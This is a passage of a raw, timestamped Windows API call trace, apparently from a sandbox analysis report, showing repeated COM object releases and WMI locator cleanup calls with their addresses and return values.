[0141.667] IUnknown:Release (This=0x1bc2ac30) returned 0x0 [0141.667] IUnknown:Release (This=0x1bc2a8c0) returned 0x0 [0141.671] IUnknown:Release (This=0x1bc2a550) returned 0x0 [0141.671] IUnknown:Release (This=0x1bcf3b20) returned 0x0 [0141.674] IUnknown:Release (This=0x1aa18520) returned 0x0 [0141.674] IUnknown:Release (This=0x1aa18270) returned 0x0 [0141.674] IUnknown:Release (This=0x1bc2a1e0) returned 0x0 [0141.674] IUnknown:Release (This=0x1bc29e70) returned 0x0 [0141.675] IUnknown:Release (This=0x1bc29b00) returned 0x0 [0141.675] IUnknown:Release (This=0x1bc29790) returned 0x0 [0141.675] IUnknown:Release (This=0x1bc29420) returned 0x0 [0141.675] IUnknown:Release (This=0x1aa1a560) returned 0x0 [0141.675] IUnknown:Release (This=0x1aa1a2b0) returned 0x0 [0141.675] IUnknown:Release (This=0x1aa281b0) returned 0x0 [0141.675] IUnknown:Release (This=0x1aa27e40) returned 0x0 [0141.675] IUnknown:Release (This=0x1aa27ad0) returned 0x0 [0141.676] IUnknown:Release (This=0x1aa17fc0) returned 0x0 [0141.676] IUnknown:Release (This=0x1aa17d10) returned 0x0 [0141.676] IUnknown:Release (This=0x1bc290b0) returned 0x0 [0141.676] IUnknown:Release (This=0x1bc28d40) returned 0x0 [0141.676] IUnknown:Release (This=0x1bc289d0) returned 0x0 [0141.679] IUnknown:Release (This=0x1bc28660) returned 0x0 [0141.679] IUnknown:Release (This=0x1bc282f0) returned 0x0 [0141.679] IUnknown:Release (This=0x1aa27760) returned 0x0 [0141.680] IUnknown:Release (This=0x1aa273f0) returned 0x0 [0141.680] IUnknown:Release (This=0x1aa17a60) returned 0x0 [0141.680] IUnknown:Release (This=0x1aa177b0) returned 0x0 [0141.680] IUnknown:Release (This=0x1bc27f80) returned 0x0 [0141.680] IUnknown:Release (This=0x1bc27c10) returned 0x0 [0141.680] IUnknown:Release (This=0x1bbd6d30) returned 0x0 [0141.680] IUnknown:Release (This=0x1bbd69c0) returned 0x0 [0141.681] IUnknown:Release (This=0x1bbd6650) returned 0x0 [0141.681] IUnknown:Release (This=0x1aa2a410) returned 0x0 [0141.681] IUnknown:Release (This=0x1aa2a0a0) returned 0x0 [0141.681] IUnknown:Release (This=0x1aa17500) returned 0x0 [0141.681] IUnknown:Release (This=0x1aa17250) returned 0x0 [0141.681] IUnknown:Release (This=0x1bbd62e0) returned 0x0 [0141.681] IUnknown:Release (This=0x1bbd5f70) returned 0x0 [0141.681] IUnknown:Release (This=0x1bbd5c00) returned 0x0 [0141.682] IUnknown:Release (This=0x1bbd5890) returned 0x0 [0141.682] IUnknown:Release (This=0x1bbd5520) returned 0x0 [0141.682] IUnknown:Release (This=0x1aa29d30) returned 0x0 [0141.682] IUnknown:Release (This=0x1aa299c0) returned 0x0 [0141.682] IUnknown:Release (This=0x1aa29650) returned 0x0 [0141.682] IUnknown:Release (This=0x1aa1a000) returned 0x0 [0141.682] IUnknown:Release (This=0x1aa16fa0) returned 0x0 [0141.683] IUnknown:Release (This=0x1bc00560) returned 0x0 [0141.683] IUnknown:Release (This=0x1bbd51b0) returned 0x0 [0141.683] IUnknown:Release (This=0x1bbd4e40) returned 0x0 [0141.683] IUnknown:Release (This=0x1bbd4ad0) returned 0x0 [0141.683] IUnknown:Release (This=0x1bbd4760) returned 0x0 [0141.683] IUnknown:Release (This=0x1bbd43f0) returned 0x0 [0141.683] IUnknown:Release (This=0x1aa19d50) returned 0x0 [0141.684] IUnknown:Release (This=0x1bbe9920) returned 0x0 [0141.684] IUnknown:Release (This=0x1bbe7e20) returned 0x0 [0141.684] IUnknown:Release (This=0x1bbd4080) returned 0x0 [0141.684] IUnknown:Release (This=0x1bbd3d10) returned 0x0 [0141.684] IUnknown:Release (This=0x1bbd39a0) returned 0x0 [0141.684] IUnknown:Release (This=0x1bbd3630) returned 0x0 [0141.684] IUnknown:Release (This=0x1bbd32c0) returned 0x0 [0141.684] IUnknown:Release (This=0x1aa27080) returned 0x0 [0141.685] IUnknown:Release (This=0x1bc78bc0) returned 0x0 [0141.685] IUnknown:Release (This=0x1bbce3a0) returned 0x0 [0141.685] IUnknown:Release (This=0x1bbcc8b0) returned 0x0 [0141.685] IUnknown:Release (This=0x1bb94520) returned 0x0 [0141.685] IUnknown:Release (This=0x1bb941b0) returned 0x0 [0141.685] IUnknown:Release (This=0x1bb93e40) returned 0x0 [0141.685] IUnknown:Release (This=0x1bb93ad0) returned 0x0 [0141.685] IUnknown:Release (This=0x1bb93760) returned 0x0 [0141.686] IUnknown:Release (This=0x1bc78850) returned 0x0 [0141.691] IUnknown:Release (This=0x1bc784e0) returned 0x0 [0141.692] IUnknown:Release (This=0x1bc78170) returned 0x0 [0141.692] IUnknown:Release (This=0x1bcf3dd0) returned 0x0 [0141.692] IUnknown:Release (This=0x1bbbc470) returned 0x0 [0141.692] IUnknown:Release (This=0x1bbba910) returned 0x0 [0141.693] IUnknown:Release (This=0x1bb933f0) returned 0x0 [0141.693] IUnknown:Release (This=0x1bb93080) returned 0x0 [0141.693] IUnknown:Release (This=0x1bb92d10) returned 0x0 [0141.693] IUnknown:Release (This=0x1bb929a0) returned 0x0 [0141.693] IUnknown:Release (This=0x1bb92630) returned 0x0 [0141.693] IUnknown:Release (This=0x1aa19aa0) returned 0x0 [0141.693] IUnknown:Release (This=0x1bba40c0) returned 0x0 [0141.694] IUnknown:Release (This=0x1bba39d0) returned 0x0 [0141.694] IUnknown:Release (This=0x1bb922c0) returned 0x0 [0141.694] IUnknown:Release (This=0x1bb91f50) returned 0x0 [0141.694] IUnknown:Release (This=0x1bb91be0) returned 0x0 [0141.694] IUnknown:Release (This=0x1bb91870) returned 0x0 [0141.694] IUnknown:Release (This=0x1bb91500) returned 0x0 [0141.694] IUnknown:Release (This=0x1aa197f0) returned 0x0 [0141.694] IUnknown:Release (This=0x1bc77e00) returned 0x0 [0141.695] IUnknown:Release (This=0x1bb970e0) returned 0x0 [0141.695] IUnknown:Release (This=0x1bb955a0) returned 0x0 [0141.695] IUnknown:Release (This=0x1bb91190) returned 0x0 [0141.695] IUnknown:Release (This=0x1bb90e20) returned 0x0 [0141.695] IUnknown:Release (This=0x1bb90ab0) returned 0x0 [0141.695] IUnknown:Release (This=0x1bb8aea0) returned 0x0 [0141.695] IUnknown:Release (This=0x1bb82fc0) returned 0x0 [0141.695] IUnknown:Release (This=0x1bc77a90) returned 0x0 [0141.696] IUnknown:Release (This=0x1bc77720) returned 0x0 [0141.696] IUnknown:Release (This=0x1bc773b0) returned 0x0 [0141.696] IUnknown:Release (This=0x1bc77040) returned 0x0 [0141.696] IUnknown:Release (This=0x1aa1aac0) returned 0x0 [0141.696] IUnknown:Release (This=0x1aa19540) returned 0x0 [0141.696] IUnknown:Release (This=0x1aa14730) returned 0x0 [0141.697] IUnknown:Release (This=0x1aa14040) returned 0x0 [0141.697] IUnknown:Release (This=0x1aa13cd0) returned 0x0 [0141.697] IUnknown:Release (This=0x1aa13500) returned 0x0 [0141.697] IUnknown:Release (This=0x1aa12ad0) returned 0x0 [0141.697] IUnknown:Release (This=0x1aa09ef0) returned 0x0 [0141.697] IUnknown:Release (This=0x1aa01960) returned 0x0 [0141.697] IUnknown:Release (This=0x1aa19290) returned 0x0 [0141.697] IUnknown:Release (This=0x1bc76cd0) returned 0x0 [0141.698] IUnknown:Release (This=0x1a9fe530) returned 0x0 [0141.698] IUnknown:Release (This=0x1a9fca20) returned 0x0 [0141.698] IUnknown:Release (This=0x1a9fc6b0) returned 0x0 [0141.698] IUnknown:Release (This=0x1a9fbee0) returned 0x0 [0141.698] IUnknown:Release (This=0x1a9fb4b0) returned 0x0 [0141.704] IUnknown:Release (This=0x1a9f58d0) returned 0x0 [0141.704] IUnknown:Release (This=0x1a9ed860) returned 0x0 [0141.704] IUnknown:Release (This=0x1bc76960) returned 0x0 [0141.704] IUnknown:Release (This=0x1bc765f0) returned 0x0 [0141.704] IUnknown:Release (This=0x1a9ea2f0) returned 0x0 [0141.704] IUnknown:Release (This=0x1a9ea040) returned 0x0 [0141.705] IUnknown:Release (This=0x1a9e9cd0) returned 0x0 [0141.705] IUnknown:Release (This=0x1a9e9500) returned 0x0 [0141.705] IUnknown:Release (This=0x1a9db860) returned 0x0 [0141.705] IUnknown:Release (This=0x1a9dacf0) returned 0x0 [0141.705] IUnknown:Release (This=0x1a9da500) returned 0x0 [0141.705] IUnknown:Release (This=0x1bc76280) returned 0x0 [0141.705] IUnknown:Release (This=0x1bc75f10) returned 0x0 [0141.705] IUnknown:Release (This=0x1aa1a810) returned 0x0 [0141.705] IUnknown:Release (This=0x1aa292e0) returned 0x0 [0141.706] IUnknown:Release (This=0x1aa28f70) returned 0x0 [0141.706] IUnknown:Release (This=0x1aa28c00) returned 0x0 [0141.706] IUnknown:Release (This=0x1aa28890) returned 0x0 [0141.706] IUnknown:Release (This=0x1aa18fe0) returned 0x0 [0158.667] CoGetContextToken (in: pToken=0x1a92fa10 | out: pToken=0x1a92fa10) returned 0x0 [0158.667] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.667] IUnknown:Release (This=0x1bbb6930) returned 0x1 [0158.667] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.667] WbemLocator:IUnknown:Release (This=0x1a952e10) returned 0x1 [0158.667] WbemLocator:IUnknown:Release (This=0x1a952e10) returned 0x0 [0158.686] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.686] WbemLocator:IUnknown:Release (This=0x1aa04620) returned 0x1 [0158.686] WbemLocator:IUnknown:Release (This=0x1aa04620) returned 0x0 [0158.686] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.686] WbemLocator:IUnknown:Release (This=0x1bc64e90) returned 0x1 [0158.686] WbemLocator:IUnknown:Release (This=0x1bc64e90) returned 0x0 [0158.687] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.687] WbemLocator:IUnknown:Release (This=0x1bbb3690) returned 0x1 [0158.687] WbemLocator:IUnknown:Release (This=0x1bbb3690) returned 0x0 [0158.687] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.687] IUnknown:Release (This=0x1bbb5800) returned 0x1 [0158.687] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.687] WbemLocator:IUnknown:Release (This=0x1a9e2530) returned 0x1 [0158.687] WbemLocator:IUnknown:Release (This=0x1a9e2530) returned 0x0 [0158.688] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.688] WbemLocator:IUnknown:Release (This=0x1bbd8240) returned 0x1 [0158.688] WbemLocator:IUnknown:Release (This=0x1bbd8240) returned 0x0 [0158.688] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.688] WbemLocator:IUnknown:Release (This=0x1bbd9200) returned 0x1 [0158.688] WbemLocator:IUnknown:Release (This=0x1bbd9200) returned 0x0 [0158.689] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.689] WbemLocator:IUnknown:Release (This=0x1bbd8940) returned 0x1 [0158.689] WbemLocator:IUnknown:Release (This=0x1bbd8940) returned 0x0 [0158.689] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.689] WbemLocator:IUnknown:Release (This=0x1a9e33d0) returned 0x1 [0158.689] WbemLocator:IUnknown:Release (This=0x1a9e33d0) returned 0x0 [0158.690] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.690] IUnknown:Release (This=0x1bcf7220) returned 0x1 [0158.690] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.690] WbemLocator:IUnknown:Release (This=0x1bba6c50) returned 0x1 [0158.690] WbemLocator:IUnknown:Release (This=0x1bba6c50) returned 0x0 [0158.690] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.690] WbemLocator:IUnknown:Release (This=0x1bbda760) returned 0x1 [0158.690] WbemLocator:IUnknown:Release (This=0x1bbda760) returned 0x0 [0158.690] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.690] WbemLocator:IUnknown:Release (This=0x1bbf1480) returned 0x1 [0158.690] WbemLocator:IUnknown:Release (This=0x1bbf1480) returned 0x0 [0158.691] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.691] WbemLocator:IUnknown:Release (This=0x1bb805a0) returned 0x1 [0158.691] WbemLocator:IUnknown:Release (This=0x1bb805a0) returned 0x0 [0158.691] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.691] IUnknown:Release (This=0x1bcf60f0) returned 0x1 [0158.691] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.691] WbemLocator:IUnknown:Release (This=0x1bb83460) returned 0x1 [0158.691] WbemLocator:IUnknown:Release (This=0x1bb83460) returned 0x0 [0158.691] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.691] WbemLocator:IUnknown:Release (This=0x1bb81440) returned 0x1 [0158.692] WbemLocator:IUnknown:Release (This=0x1bb81440) returned 0x0 [0158.692] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.692] WbemLocator:IUnknown:Release (This=0x1bbaa9f0) returned 0x1 [0158.692] WbemLocator:IUnknown:Release (This=0x1bbaa9f0) returned 0x0 [0158.693] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.693] WbemLocator:IUnknown:Release (This=0x1bb83700) returned 0x1 [0158.693] WbemLocator:IUnknown:Release (This=0x1bb83700) returned 0x0 [0158.693] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.693] IUnknown:Release (This=0x1bcf4fc0) returned 0x1 [0158.693] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.693] WbemLocator:IUnknown:Release (This=0x1bbaa0f0) returned 0x1 [0158.693] WbemLocator:IUnknown:Release (This=0x1bbaa0f0) returned 0x0 [0158.694] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.694] WbemLocator:IUnknown:Release (This=0x1bc0f380) returned 0x1 [0158.694] WbemLocator:IUnknown:Release (This=0x1bc0f380) returned 0x0 [0158.694] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.694] WbemLocator:IUnknown:Release (This=0x1bc36a80) returned 0x1 [0158.694] WbemLocator:IUnknown:Release (This=0x1bc36a80) returned 0x0 [0158.695] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.695] WbemLocator:IUnknown:Release (This=0x1bc0f7a0) returned 0x1 [0158.695] WbemLocator:IUnknown:Release (This=0x1bc0f7a0) returned 0x0 [0158.695] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.695] IUnknown:Release (This=0x1bcf3e90) returned 0x1 [0158.695] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.695] WbemLocator:IUnknown:Release (This=0x1bbaaf90) returned 0x1 [0158.695] WbemLocator:IUnknown:Release (This=0x1bbaaf90) returned 0x0 [0158.696] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.696] WbemLocator:IUnknown:Release (This=0x1bc41340) returned 0x1 [0158.696] WbemLocator:IUnknown:Release (This=0x1bc41340) returned 0x0 [0158.696] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.696] WbemLocator:IUnknown:Release (This=0x1bc36ba0) returned 0x1 [0158.696] WbemLocator:IUnknown:Release (This=0x1bc36ba0) returned 0x0 [0158.696] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.696] WbemLocator:IUnknown:Release (This=0x1a9f6330) returned 0x1 [0158.697] WbemLocator:IUnknown:Release (This=0x1a9f6330) returned 0x0 [0158.697] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.697] IUnknown:Release (This=0x1bb93ad0) returned 0x1 [0158.697] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.697] WbemLocator:IUnknown:Release (This=0x1bbd9050) returned 0x1 [0158.697] WbemLocator:IUnknown:Release (This=0x1bbd9050) returned 0x0 [0158.697] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.697] WbemLocator:IUnknown:Release (This=0x1a9ec9b0) returned 0x1 [0158.697] WbemLocator:IUnknown:Release (This=0x1a9ec9b0) returned 0x0 [0158.698] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.698] WbemLocator:IUnknown:Release (This=0x1a9e2920) returned 0x1 [0158.698] WbemLocator:IUnknown:Release (This=0x1a9e2920) returned 0x0 [0158.756] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.756] WbemLocator:IUnknown:Release (This=0x1bc58220) returned 0x1 [0158.756] WbemLocator:IUnknown:Release (This=0x1bc58220) returned 0x0 [0158.756] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.756] WbemLocator:IUnknown:Release (This=0x1bbd9ef0) returned 0x1 [0158.756] WbemLocator:IUnknown:Release (This=0x1bbd9ef0) returned 0x0 [0158.756] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.757] IUnknown:Release (This=0x1bb929a0) returned 0x1 [0158.757] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.757] WbemLocator:IUnknown:Release (This=0x1bc591a0) returned 0x1 [0158.757] WbemLocator:IUnknown:Release (This=0x1bc591a0) returned 0x0 [0158.757] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.757] WbemLocator:IUnknown:Release (This=0x1bbdad90) returned 0x1 [0158.757] WbemLocator:IUnknown:Release (This=0x1bbdad90) returned 0x0 [0158.757] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.757] WbemLocator:IUnknown:Release (This=0x1a9e3d60) returned 0x1 [0158.758] WbemLocator:IUnknown:Release (This=0x1a9e3d60) returned 0x0 [0158.758] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.758] WbemLocator:IUnknown:Release (This=0x1bc88770) returned 0x1 [0158.758] WbemLocator:IUnknown:Release (This=0x1bc88770) returned 0x0 [0158.758] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.758] IUnknown:Release (This=0x1bb91870) returned 0x1 [0158.758] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.758] WbemLocator:IUnknown:Release (This=0x1bc0b570) returned 0x1 [0158.758] WbemLocator:IUnknown:Release (This=0x1bc0b570) returned 0x0 [0158.759] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.759] WbemLocator:IUnknown:Release (This=0x1bc89430) returned 0x1 [0158.759] WbemLocator:IUnknown:Release (This=0x1bc89430) returned 0x0 [0158.759] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.759] WbemLocator:IUnknown:Release (This=0x1bcc6bd0) returned 0x1 [0158.759] WbemLocator:IUnknown:Release (This=0x1bcc6bd0) returned 0x0 [0158.760] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.760] WbemLocator:IUnknown:Release (This=0x1bc89b30) returned 0x1 [0158.760] WbemLocator:IUnknown:Release (This=0x1bc89b30) returned 0x0 [0158.760] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.760] IUnknown:Release (This=0x1bc78bc0) returned 0x1 [0158.760] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.760] WbemLocator:IUnknown:Release (This=0x1bc0c410) returned 0x1 [0158.760] WbemLocator:IUnknown:Release (This=0x1bc0c410) returned 0x0 [0158.761] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.761] WbemLocator:IUnknown:Release (This=0x1bcc35e0) returned 0x1 [0158.761] WbemLocator:IUnknown:Release (This=0x1bcc35e0) returned 0x0 [0158.761] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.761] WbemLocator:IUnknown:Release (This=0x1bc95e00) returned 0x1 [0158.761] WbemLocator:IUnknown:Release (This=0x1bc95e00) returned 0x0 [0158.761] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.762] WbemLocator:IUnknown:Release (This=0x1bcc3740) returned 0x1 [0158.762] WbemLocator:IUnknown:Release (This=0x1bcc3740) returned 0x0 [0158.762] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.762] IUnknown:Release (This=0x1bc77a90) returned 0x1 [0158.762] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.762] WbemLocator:IUnknown:Release (This=0x1bc35fd0) returned 0x1 [0158.762] WbemLocator:IUnknown:Release (This=0x1bc35fd0) returned 0x0 [0158.762] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.762] WbemLocator:IUnknown:Release (This=0x1bcc4940) returned 0x1 [0158.762] WbemLocator:IUnknown:Release (This=0x1bcc4940) returned 0x0 [0158.762] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.762] WbemLocator:IUnknown:Release (This=0x1bc97240) returned 0x1 [0158.763] WbemLocator:IUnknown:Release (This=0x1bc97240) returned 0x0 [0158.763] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.763] WbemLocator:IUnknown:Release (This=0x1bcc4a80) returned 0x1 [0158.763] WbemLocator:IUnknown:Release (This=0x1bcc4a80) returned 0x0 [0158.763] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.763] WbemLocator:IUnknown:Release (This=0x1bc36e70) returned 0x1 [0158.763] WbemLocator:IUnknown:Release (This=0x1bc36e70) returned 0x0 [0158.764] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.764] IUnknown:Release (This=0x1bc76960) returned 0x1 [0158.764] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.764] WbemLocator:IUnknown:Release (This=0x1a9db4b0) returned 0x1 [0158.764] WbemLocator:IUnknown:Release (This=0x1a9db4b0) returned 0x0 [0158.764] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.764] WbemLocator:IUnknown:Release (This=0x1bc0b690) returned 0x1 [0158.764] WbemLocator:IUnknown:Release (This=0x1bc0b690) returned 0x0 [0158.765] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.765] WbemLocator:IUnknown:Release (This=0x1bc64b30) returned 0x1 [0158.765] WbemLocator:IUnknown:Release (This=0x1bc64b30) returned 0x0 [0158.766] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.766] WbemLocator:IUnknown:Release (This=0x1bb9d8b0) returned 0x1 [0158.766] WbemLocator:IUnknown:Release (This=0x1bb9d8b0) returned 0x0 [0158.766] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.766] IUnknown:Release (This=0x1bc75830) returned 0x1 [0158.766] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.766] WbemLocator:IUnknown:Release (This=0x1bbbe220) returned 0x1 [0158.766] WbemLocator:IUnknown:Release (This=0x1bbbe220) returned 0x0 [0158.766] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.766] WbemLocator:IUnknown:Release (This=0x1bc659d0) returned 0x1 [0158.766] WbemLocator:IUnknown:Release (This=0x1bc659d0) returned 0x0 [0158.767] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.767] WbemLocator:IUnknown:Release (This=0x1bb81050) returned 0x1 [0158.767] WbemLocator:IUnknown:Release (This=0x1bb81050) returned 0x0 [0158.767] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.767] WbemLocator:IUnknown:Release (This=0x1bbbe760) returned 0x1 [0158.767] WbemLocator:IUnknown:Release (This=0x1bbbe760) returned 0x0 [0158.767] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.767] IUnknown:Release (This=0x1aa28520) returned 0x1 [0158.767] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.768] WbemLocator:IUnknown:Release (This=0x1bc96040) returned 0x1 [0158.768] WbemLocator:IUnknown:Release (This=0x1bc96040) returned 0x0 [0158.768] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.768] WbemLocator:IUnknown:Release (This=0x1bc226e0) returned 0x1 [0158.768] WbemLocator:IUnknown:Release (This=0x1bc226e0) returned 0x0 [0158.768] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.768] WbemLocator:IUnknown:Release (This=0x1a952120) returned 0x1 [0158.768] WbemLocator:IUnknown:Release (This=0x1a952120) returned 0x0 [0158.769] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.769] WbemLocator:IUnknown:Release (This=0x1bc228c0) returned 0x1 [0158.769] WbemLocator:IUnknown:Release (This=0x1bc228c0) returned 0x0 [0158.769] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.769] IUnknown:Release (This=0x1aa273f0) returned 0x1 [0158.769] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.769] WbemLocator:IUnknown:Release (This=0x1bc96ee0) returned 0x1 [0158.769] WbemLocator:IUnknown:Release (This=0x1bc96ee0) returned 0x0 [0158.770] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.770] WbemLocator:IUnknown:Release (This=0x1bc6fa80) returned 0x1 [0158.770] WbemLocator:IUnknown:Release (This=0x1bc6fa80) returned 0x0 [0158.770] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.770] WbemLocator:IUnknown:Release (This=0x1bb817a0) returned 0x1 [0158.770] WbemLocator:IUnknown:Release (This=0x1bb817a0) returned 0x0 [0158.771] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.771] WbemLocator:IUnknown:Release (This=0x1bc70000) returned 0x1 [0158.771] WbemLocator:IUnknown:Release (This=0x1bc70000) returned 0x0 [0158.771] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.771] WbemLocator:IUnknown:Release (This=0x1bcc5c10) returned 0x1 [0158.771] WbemLocator:IUnknown:Release (This=0x1bcc5c10) returned 0x0 [0158.771] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.772] IUnknown:Release (This=0x1aa29650) returned 0x1 [0158.772] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.772] WbemLocator:IUnknown:Release (This=0x1bce7060) returned 0x1 [0158.772] WbemLocator:IUnknown:Release (This=0x1bce7060) returned 0x0 [0158.772] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.772] WbemLocator:IUnknown:Release (This=0x1bce8f80) returned 0x1 [0158.772] WbemLocator:IUnknown:Release (This=0x1bce8f80) returned 0x0 [0158.773] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.773] WbemLocator:IUnknown:Release (This=0x1bce6d20) returned 0x1 [0158.773] WbemLocator:IUnknown:Release (This=0x1bce6d20) returned 0x0 [0158.773] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.773] WbemLocator:IUnknown:Release (This=0x1bcc6ab0) returned 0x1 [0158.773] WbemLocator:IUnknown:Release (This=0x1bcc6ab0) returned 0x0 [0158.774] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.774] IUnknown:Release (This=0x1aa28890) returned 0x1 [0158.774] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.774] WbemLocator:IUnknown:Release 